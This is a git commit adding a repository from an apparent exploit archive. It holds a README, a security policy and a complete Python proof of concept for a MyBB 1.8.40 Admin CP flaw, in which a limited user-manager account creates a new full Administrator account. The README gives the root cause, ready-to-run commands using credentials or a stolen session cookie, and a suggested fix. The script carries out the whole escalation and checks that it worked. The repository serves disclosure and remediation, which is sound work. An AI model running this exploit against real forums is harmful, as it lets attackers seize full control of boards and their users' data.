Add exploitarium archive

This commit is contained in:
ashton
2026-06-23 00:13:35 -05:00
commit b5d099261a
99 changed files with 5715 additions and 0 deletions

13
mybb-limited-acp-to-admin/.gitignore vendored Normal file
View File

@@ -0,0 +1,13 @@
__pycache__/
*.py[cod]
.pytest_cache/
.venv/
venv/
*.sqlite
*.sqlite3
*.db
*.log
lab/site/
lab/data/
downloads/
vendor/

View File

@@ -0,0 +1,21 @@
MIT License
Copyright (c) 2026
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.

View File

@@ -0,0 +1,165 @@
# MyBB 1.8.40 Limited ACP User Manager to Full Administrator
This repository contains a portable proof of concept for a MyBB 1.8.40 Admin CP privilege-boundary issue.
A non-super Admin CP account with only the user-management module permission can create a new user in the Administrator group (`gid=4`). The created account inherits full Administrator-group Admin CP permissions, including access to modules the source account was explicitly denied.
## Status
- Target verified: MyBB `1.8.40` / version code `1840`
- Latest release confirmed: MyBB 1.8.40, released 28 May 2026
- Live test date: 18 June 2026
- PoC language: Python 3 standard library only
The older regular-user buddy/ignore-list username XSS chain is patched in 1.8.40 as CVE-2026-45115. This repo is for a different latest-version issue: limited ACP user-management privilege escalation to full Administrator.
## Impact
The final impact is full MyBB application administration:
- Read and modify board configuration.
- Create, edit, ban, or delete users.
- Access forum data exposed through the Admin CP.
- Change content, permissions, settings, themes, templates, and persistence mechanisms available to Administrators.
This has the same final application-root impact as the earlier stored-XSS-to-Admin-CP chain, but the precondition is different and stricter: the attacker needs access to an ACP account that can manage users.
## Preconditions
The source account must:
- Be authenticated to the Admin CP.
- Have `user-users = 1` permission.
- Not need to be a super administrator.
- Not need `user-admin_permissions = 1`.
- Not need access to unrelated Admin CP modules such as Configuration, Templates, Tools, or Forums.
## Root Cause
The Admin CP add-user flow forwards submitted group fields directly into the user data handler:
```php
"usergroup" => $mybb->get_input('usergroup'),
"additionalgroups" => $additionalgroups,
"displaygroup" => $mybb->get_input('displaygroup'),
```
The add-user form renders every non-guest user group, including `gid=4` Administrator:
```php
$query = $db->simple_select("usergroups", "gid, title", "gid != '1'", array('order_by' => 'title'));
```
The user data handler still accepts group choices unconditionally:
```php
function verify_usergroup()
{
return true;
}
```
There is no effective authorization check that the acting ACP user is allowed to grant an ACP-capable group.
## Usage
Use only on systems you own or are explicitly authorized to test.
With limited ACP credentials:
```bash
python3 poc/mybb_limited_acp_to_admin.py \
--url http://127.0.0.1:8110 \
--admin-user limited_user_manager \
--admin-pass 'LimitedPassword123!' \
--new-user promoted_admin \
--new-pass 'NewAdminPassword123!' \
--new-email promoted_admin@example.test
```
With an existing limited ACP `adminsid` cookie:
```bash
python3 poc/mybb_limited_acp_to_admin.py \
--url https://forum.example.test \
--adminsid '<limited-adminsid-cookie>' \
--new-user promoted_admin \
--new-pass 'NewAdminPassword123!' \
--new-email promoted_admin@example.test
```
For local labs using self-signed TLS, add `--no-verify-tls`.
## Expected Output
The PoC verifies the boundary crossing by comparing access to an Admin CP module before and after creating the new account:
```text
target : http://127.0.0.1:8110
source_probe_status : HTTP 200
source_probe_denied : yes
add_form_status : HTTP 200
post_key_found : yes
create_status : HTTP 200
new_admin_login : adminsid issued
new_probe_status : HTTP 200
new_probe_denied : no
Result: full Administrator account created and verified
```
`source_probe_denied=yes` and `new_probe_denied=no` show that the source account lacked the tested permission while the newly created gid-4 account gained it.
## Live Verification Performed
I verified this against a fresh 1.8.40 install:
- Downloaded `mybb_1840.zip` from MyBB resources.
- Verified SHA-256: `380fb63c50c63f52c747ba05d1002ad77f2f0b1d254db213092501dd5e9375dc`.
- Installed through the official installer using SQLite.
- Confirmed code version from `inc/class_core.php`: `1.8.40 (1840)`.
- Seeded a non-super ACP account with only `user-users = 1`.
- Confirmed that account received `Access Denied` for `config-settings`.
- Used the Admin CP add-user form to create a new `gid=4` Administrator.
- Logged in as the new account and confirmed `config-settings` was no longer denied.
The Python PoC was also run against the live lab and produced the expected verified output above.
## Patched Prior Chain
The previous MyBB 1.8.39 buddy-selector stored XSS relied on stock templates passing attacker-controlled username data into a single-quoted inline JavaScript call:
```html
onclick="UserCP.selectBuddy('{$buddy['uid']}', '{$buddy['username']}');"
```
In stock MyBB 1.8.40, the affected templates now call `UserCP.selectBuddy()` without the username argument:
```html
onclick="UserCP.selectBuddy();"
```
That removes the old username-to-inline-JS sink in the default template set.
## Suggested Fix
When an ACP user creates or edits accounts, reject any primary, additional, or display group with Admin CP capability unless the acting user is a super administrator or has an explicit high-trust permission to grant ACP-capable groups.
Concrete checks should cover:
- Add-user flow.
- Edit-user flow.
- Inline/mass usergroup update flow.
- Any plugin hooks or alternate paths that call the user data handler with group fields.
Defense-in-depth: make `UserDataHandler::verify_usergroup()` enforce group grant rules instead of returning `true`.
## References
- [MyBB 1.8.40 version page](https://mybb.com/versions/1.8.40/)
- [MyBB 1.8.40 release announcement](https://blog.mybb.com/2026/05/28/mybb-1-8-40-released-security-maintenance-release/)
- [MyBB releases on GitHub](https://github.com/mybb/mybb/releases)
## Responsible Use
This PoC is for authorized security testing, regression verification, and defensive remediation. Do not use it against systems without permission.

View File

@@ -0,0 +1,7 @@
# Security Policy
This repository documents an authorized local verification of a MyBB privilege-boundary issue.
Use the PoC only against systems you own or have explicit permission to test. If you are validating a production forum, coordinate with the forum owner and preserve evidence without exposing user data.
Suggested disclosure path: report MyBB core security issues through the MyBB Project security process at https://mybb.com/security/.

View File

@@ -0,0 +1,235 @@
from __future__ import annotations
import argparse
import html
import http.cookiejar
import re
import ssl
import sys
import urllib.error
import urllib.parse
import urllib.request
from dataclasses import dataclass
from http.cookies import SimpleCookie
from typing import Iterable
class PocError(RuntimeError):
pass
@dataclass
class HttpResponse:
status: int
reason: str
headers: object
body: str
url: str
class MyBBClient:
def __init__(self, base_url: str, admin_path: str, verify_tls: bool = True) -> None:
self.base_url = base_url.rstrip("/")
self.admin_path = admin_path.strip("/")
self.cookies = http.cookiejar.CookieJar()
handlers: list[urllib.request.BaseHandler] = [
urllib.request.HTTPCookieProcessor(self.cookies)
]
if not verify_tls:
handlers.append(
urllib.request.HTTPSHandler(
context=ssl._create_unverified_context()
)
)
self.opener = urllib.request.build_opener(*handlers)
def set_adminsid(self, adminsid: str) -> None:
cookie = SimpleCookie()
cookie["adminsid"] = adminsid
morsel = cookie["adminsid"]
parsed = urllib.parse.urlparse(self.base_url)
domain = parsed.hostname or "localhost"
self.cookies.set_cookie(
http.cookiejar.Cookie(
version=0,
name=morsel.key,
value=morsel.value,
port=None,
port_specified=False,
domain=domain,
domain_specified=False,
domain_initial_dot=False,
path="/",
path_specified=True,
secure=parsed.scheme == "https",
expires=None,
discard=True,
comment=None,
comment_url=None,
rest={},
rfc2109=False,
)
)
def url(self, path: str) -> str:
return f"{self.base_url}/{path.lstrip('/')}"
def admin_url(self, query: str = "") -> str:
suffix = f"?{query}" if query else ""
return self.url(f"{self.admin_path}/index.php{suffix}")
def request(self, url: str, data: dict[str, object] | None = None) -> HttpResponse:
encoded = None
if data is not None:
encoded = urllib.parse.urlencode(data, doseq=True).encode()
req = urllib.request.Request(
url,
data=encoded,
headers={"User-Agent": "MyBB-limited-acp-to-admin-poc/1.0"},
method="POST" if data is not None else "GET",
)
try:
with self.opener.open(req, timeout=20) as resp:
raw = resp.read()
body = raw.decode(resp.headers.get_content_charset() or "utf-8", "replace")
return HttpResponse(resp.status, resp.reason, resp.headers, body, resp.url)
except urllib.error.HTTPError as exc:
raw = exc.read()
body = raw.decode(exc.headers.get_content_charset() or "utf-8", "replace")
return HttpResponse(exc.code, exc.reason, exc.headers, body, exc.url)
def login_acp(self, username: str, password: str) -> str:
resp = self.request(
self.admin_url(),
{
"do": "login",
"username": username,
"password": password,
},
)
adminsid = self.cookie_value("adminsid")
if not adminsid:
raise PocError(f"ACP login failed or did not issue adminsid; HTTP {resp.status}")
return adminsid
def cookie_value(self, name: str) -> str:
for cookie in self.cookies:
if cookie.name == name:
return cookie.value
return ""
def extract_post_key(body: str) -> str:
patterns = [
r'name=["\']my_post_key["\']\s+value=["\']([^"\']+)["\']',
r'value=["\']([^"\']+)["\']\s+name=["\']my_post_key["\']',
]
for pattern in patterns:
match = re.search(pattern, body, re.I)
if match:
return html.unescape(match.group(1))
raise PocError("Could not find my_post_key in add-user form")
def response_has_access_denied(body: str) -> bool:
return "Access Denied" in body or "access denied" in body.lower()
def require_not_denied(resp: HttpResponse, context: str) -> None:
if response_has_access_denied(resp.body):
raise PocError(f"{context}: target returned Access Denied")
def print_kv(rows: Iterable[tuple[str, object]]) -> None:
width = max(len(key) for key, _ in rows)
for key, value in rows:
print(f"{key:<{width}} : {value}")
def main(argv: list[str]) -> int:
parser = argparse.ArgumentParser(
description="Create a full MyBB Administrator from a limited ACP user-manager account."
)
parser.add_argument("--url", required=True, help="Base forum URL")
parser.add_argument("--admin-path", default="admin", help="Admin CP path, default: admin")
parser.add_argument("--admin-user", help="Limited ACP username")
parser.add_argument("--admin-pass", help="Limited ACP password")
parser.add_argument("--adminsid", help="Existing adminsid cookie for the limited ACP account")
parser.add_argument("--new-user", required=True, help="Username for the new gid-4 Administrator")
parser.add_argument("--new-pass", required=True, help="Password for the new Administrator")
parser.add_argument("--new-email", required=True, help="Email for the new Administrator")
parser.add_argument(
"--probe-module",
default="config-settings",
help="Admin module to request for source/new-account comparison, default: config-settings",
)
parser.add_argument(
"--no-verify-tls",
action="store_true",
help="Disable TLS certificate verification for local/self-signed labs.",
)
args = parser.parse_args(argv)
if not args.adminsid and not (args.admin_user and args.admin_pass):
parser.error("provide either --adminsid or both --admin-user/--admin-pass")
source = MyBBClient(args.url, args.admin_path, verify_tls=not args.no_verify_tls)
if args.adminsid:
source.set_adminsid(args.adminsid)
else:
source.login_acp(args.admin_user, args.admin_pass)
source_probe = source.request(source.admin_url(f"module={urllib.parse.quote(args.probe_module)}"))
source_denied = response_has_access_denied(source_probe.body)
add_form = source.request(source.admin_url("module=user-users&action=add"))
require_not_denied(add_form, "add-user form")
post_key = extract_post_key(add_form.body)
create = source.request(
source.admin_url("module=user-users&action=add"),
{
"my_post_key": post_key,
"username": args.new_user,
"password": args.new_pass,
"confirm_password": args.new_pass,
"email": args.new_email,
"usergroup": "4",
"displaygroup": "0",
},
)
created_like_success = create.status in (200, 302)
new_admin = MyBBClient(args.url, args.admin_path, verify_tls=not args.no_verify_tls)
new_admin.login_acp(args.new_user, args.new_pass)
new_probe = new_admin.request(new_admin.admin_url(f"module={urllib.parse.quote(args.probe_module)}"))
new_denied = response_has_access_denied(new_probe.body)
print_kv(
[
("target", args.url.rstrip("/")),
("source_probe_status", f"HTTP {source_probe.status}"),
("source_probe_denied", "yes" if source_denied else "no"),
("add_form_status", f"HTTP {add_form.status}"),
("post_key_found", "yes"),
("create_status", f"HTTP {create.status}"),
("new_admin_login", "adminsid issued" if new_admin.cookie_value("adminsid") else "no adminsid"),
("new_probe_status", f"HTTP {new_probe.status}"),
("new_probe_denied", "yes" if new_denied else "no"),
]
)
if not created_like_success or new_denied or not new_admin.cookie_value("adminsid"):
raise PocError("Exploit did not verify")
print("\nResult: full Administrator account created and verified")
return 0
if __name__ == "__main__":
try:
raise SystemExit(main(sys.argv[1:]))
except PocError as exc:
print(f"error: {exc}", file=sys.stderr)
raise SystemExit(1)